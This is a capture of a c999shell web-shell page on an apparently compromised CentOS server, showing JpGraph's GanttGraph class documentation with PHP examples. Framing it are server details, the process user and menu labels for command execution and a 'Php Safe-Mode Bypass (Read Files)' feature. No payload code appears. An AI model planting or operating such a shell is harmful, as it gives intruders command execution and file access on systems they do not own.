Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /var/www/html/manage/jpgraph/docs/ref/ drwxr-xr-x |
Viewing file: GanttGraph.html (26.44 KB) -rw-r--r-- Select action/file-type: (+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) | CLASS GanttGraph EXTENDS Graph
(Defined in: jpgraph_gantt.php : 327)Class usage and Overview Create a Gantt graph. The Gantt graph can then be built up by adding activity bars and milestones.
See also related classes: GanttBar, GanttVLine and MileStone
Class Methods
Description Add a gantt object to the graph. A gantt object is an instance of either:
Example $vline->title->Set("2002-02-28"); $vline->title->SetFont(FF_FONT1,FS_BOLD,10); $graph->Add($vline);
Description For a simple Gantt graphs this will simplify it's creation. The idea is that this method accepts a number of data arrays which specifies the activities in the Gantt graph.
Description of arguments
See also GanttPlotObject::SetConstrain, Progress::Set, GanttGraph::SetSimpleFont and GanttGraph::SetSimpleStyle
Example array(0,ACTYPE_GROUP, "Phase 1", "2001-10-26","2001-11-23",''), array(1,ACTYPE_NORMAL, " Label 2", "2001-10-26","2001-11-16",''), array(2,ACTYPE_NORMAL, " Label 3", "2001-11-20","2001-11-22",''), array(3,ACTYPE_MILESTONE," Phase 1 Done", "2001-11-23",'M2') ); // The constrains between the activities $constrains = array(array(1,2,CONSTRAIN_ENDSTART), array(2,3,CONSTRAIN_STARTSTART)); $progress = array(array(1,0.4)); // Create the basic graph $graph = new GanttGraph(); $graph->title->Set("Example with grouping and constrains"); // Setup scale $graph->ShowHeaders(GANTT_HYEAR | GANTT_HMONTH | GANTT_HDAY | GANTT_HWEEK); $graph->scale->week->SetStyle(WEEKSTYLE_FIRSTDAYWNBR); // Add the specified activities $graph->CreateSimple($data,$constrains,$progress); // .. and stroke the graph $graph->Stroke();
Description Construct a new GanttGraph. This differs slightly from the standard Graph or PlotGraph in that you are not required to specify width and height of the graph. Instead these can be left out and will be automatically be determined.
As a further refinement you can just specify width and have the height be automtically determined.
See also Graph::Graph
Example $graph = new GanttGraph(); $graph->SetShadow(); $graph->SetBox(); // Only show part of the Gantt $graph->SetDateRange('2001-11-22','2002-1-24');
Description Specify the date range for Gantt graphs. If this is not set it will be automtically determined from the input data.
All gantt chart objects, like bar activities, will be clipped to the spcified date range should they happen to be wider then the specified range.
The date is specified as a normal date string according to the chosen locale.
Example
Description Specify the fraction of the font height that should be added as vertical margin between the labels. Example
Description Specify font for simplified Gantt graph constructed with CreateSimple See also GanttGraph::CreateSimple
Example
Description Specify looks for bars in Gantt graph when the gantt chart is created with CreateSimple.
The pattern style can be one of
See also GanttGraph::CreateSimple and GanttBar::SetPattern
Example
Description Specify the margin factor for lines in the Gantt graph. A factor of 1 makes each line take just as much space as it needs. A factor of 1.5 makes it 1.5 linmes apart and a factor of 2 makes it double-line spacing and so on.
Hint: When using icon in titles it is usually a good idea to use a margin factor > 1
See also GanttGraph::SetLabelVMarginFactor
Example
Description Specify what headers should be displayed on the Gantt charts. Possible headers are:
Example $graph->ShowHeaders(GANTT_HYEAR | GANTT_HMONTH | GANTT_HDAY | GANTT_HWEEK);
Description Internal. Stroke the gantt chart. If a filename is specified then the graph will be stroked to that file and will not be sent back to the browser.
This should as usual be the last method called in your script.
See also Graph::Stroke
Example
|
:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0156 ]-- |